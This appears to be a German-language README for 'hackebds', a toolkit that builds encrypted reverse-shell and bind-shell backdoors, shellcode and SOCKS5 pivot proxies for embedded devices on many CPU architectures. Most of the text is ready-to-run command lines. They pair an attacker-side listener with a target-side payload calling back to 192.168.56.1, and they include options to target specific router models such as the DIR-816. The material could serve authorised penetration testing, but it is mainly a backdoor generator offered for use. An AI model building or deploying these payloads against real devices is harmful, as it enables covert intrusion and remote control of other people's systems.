Dieses Werkzeug wird verwendet für Verschlüsselung von Backdoors, Shellcode, Socks5-Proxy-Generierung, Informationsabruf und POC-Anordnung für Geräte verschiedener Architekturen
hackebds ist ein Toolkit für die Generierung von Payloads für eingebettete Geräte, verschlüsselte Shell-Workflows, SOCKS5-Proxy-Tunneling und die Abfrage von Geräteinformationen.
Der aktuelle Zweig verwendet einen reinen ELF-Workflow für verschlüsselte Shell- und Proxy-Funktionen:
reverse_shell_file + encrypted_shell_server / reverse_shell_serverbind_shell + bind_shell_clientreverse_proxy_file + reverse_proxy_serverforward_proxy_fileencrypted_shell_server / reverse_shell_server hinzugefügt, sodass verschlüsselte Reverse Shells ohne Python-Laufzeit-Handler empfangen werden könnenbind_shell_client für bind_shell hinzugefügtaes und chacha20 für verschlüsselten Shell-/Proxy-Verkehr hinzugefügt-bind_ip für listener-seitige ELF-Binaries wie bind_shell, encrypted_shell_server, reverse_proxy_server und forward_proxy_file hinzugefügtreverse_shell_file und als ausgehende Payloads beibehalten: Sie verwenden und binden keine lokale Listener-IP.python3 -m pip install -U hackebds
Lokale Entwicklung installieren:
git clone https://github.com/doudoudedi/hackEmbedded
cd hackEmbedded
python3 -m pip install -e .
Wenn Sie Release-Wheels auf einem anderen Host neu bauen, verwenden Sie das Quell-Zip und build_release.py.
unzip hackebds-0.4.3-source-for-x86-build.zip
cd hackebds-0.4.0.backup-20260411T142751Z
python3 -m pip install -U pip setuptools wheel cython
python3 build_release.py --plat manylinux2014_x86_64
Installieren Sie die Binutils für die Zielarchitektur, bevor Sie nicht-native ELF-Dateien generieren.
sudo apt install binutils-aarch64-linux-gnu
sudo apt install binutils-arm-linux-gnueabi
sudo apt install binutils-mips-linux-gnu
sudo apt install binutils-mipsel-linux-gnu
sudo apt install binutils-mips64-linux-gnuabi64
sudo apt install binutils-mips64el-linux-gnuabi64
sudo apt install binutils-powerpc-linux-gnu
sudo apt install binutils-riscv64-linux-gnu
macOS-Benutzer können pwntools binutils verwenden:
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
Angreiferseite:
hackebds -arch x64 -res encrypted_shell_server \
-reverse_port 4444 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_server.elf
chmod +x reverse_server.elf
./reverse_server.elf
Zielseite:
hackebds -arch mipsel -res reverse_shell_file \
-reverse_ip 192.168.56.1 -reverse_port 4444 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_payload.elf
chmod +x reverse_payload.elf
./reverse_payload.elf
Hinweise:
reverse_shell_file unterstützt kein -bind_ipencrypted_shell_server unterstützt -bind_ip-cipher chacha20 in -cipher aes, um AES zu verwendenZielseite:
hackebds -arch aarch64 -res bind_shell \
-bind_port 5555 \
-bind_ip 192.168.56.20 \
-passwd "s3cr3t" \
-cipher chacha20 -encrypt_key "demo-key" \
-filename bind_shell.elf
chmod +x bind_shell.elf
./bind_shell.elf
Angreiferseite:
hackebds -arch x64 -res bind_shell_client \
-reverse_ip 192.168.56.20 -reverse_port 5555 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename bind_client.elf
chmod +x bind_client.elf
./bind_client.elf
Dann eingeben:
s3cr3t
id
uname -a
exit
Listener:
hackebds -arch x64 -res encrypted_shell_server --power \
-reverse_port 4444 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename power_server.elf
./power_server.elf
Payload:
hackebds -arch armelv7 -res reverse_shell_file --power -sleep 10 \
-reverse_ip 192.168.56.1 -reverse_port 4444 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename power_payload.elf
Server:
hackebds -arch x64 -res reverse_proxy_server \
-agent_port 7000 -socks_port 1080 \
-bind_ip 192.168.56.1 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_proxy_server.elf
chmod +x reverse_proxy_server.elf
./reverse_proxy_server.elf
Agent:
hackebds -arch mips64el -res reverse_proxy_file \
-reverse_ip 192.168.56.1 -reverse_port 7000 \
-cipher chacha20 -encrypt_key "demo-key" \
-filename reverse_proxy_agent.elf
chmod +x reverse_proxy_agent.elf
./reverse_proxy_agent.elf
Test:
curl --socks5-hostname 127.0.0.1:1080 http://example.com/
Server mit Authentifizierung:
hackebds -arch x64 -res reverse_proxy_server \
-agent_port 7000 -socks_port 1080 \
-bind_ip 192.168.56.1 \
-socks_auth user:pass \
-cipher aes -encrypt_key "demo-key" \
-filename reverse_proxy_server_auth.elf
UDP-Hinweis:
sparc / sparc64 sollten nicht als UDP-unterstützt betrachtet werdenhackebds -arch x64 -res forward_proxy_file \
-listen_port 1081 \
-bind_ip 192.168.56.1 \
-filename forward_proxy.elf
chmod +x forward_proxy.elf
./forward_proxy.elf
Test:
curl --socks5-hostname 127.0.0.1:1081 http://example.com/
hackebds -arch armelv7 -res reverse_shellcode \
-reverse_ip 192.168.56.1 -reverse_port 4444
-model verwendenhackebds -reverse_ip 127.0.0.1 -reverse_port 9999 \
-model DIR-816 -res reverse_shell_file
--mcpu verwendenhackebds -mcpu mips32r2 -li -arch mipsel \
-reverse_ip 127.0.0.1 -reverse_port 9999 \
-res reverse_shell_file
--firmware verwendenhackebds --firmware ./firmware.bin
-bind_ip ist nur für Listener-seitige ELF-Dateienreverse_shell_file und reverse_proxy_file sind ausgehende Payloads und binden keine lokale Listener-IPreverse_proxy_server und forward_proxy_file unterstützen -bind_ipchacha20 als auch mit aes, solange beide Seiten übereinstimmenreverse_proxy_file-reverse_ip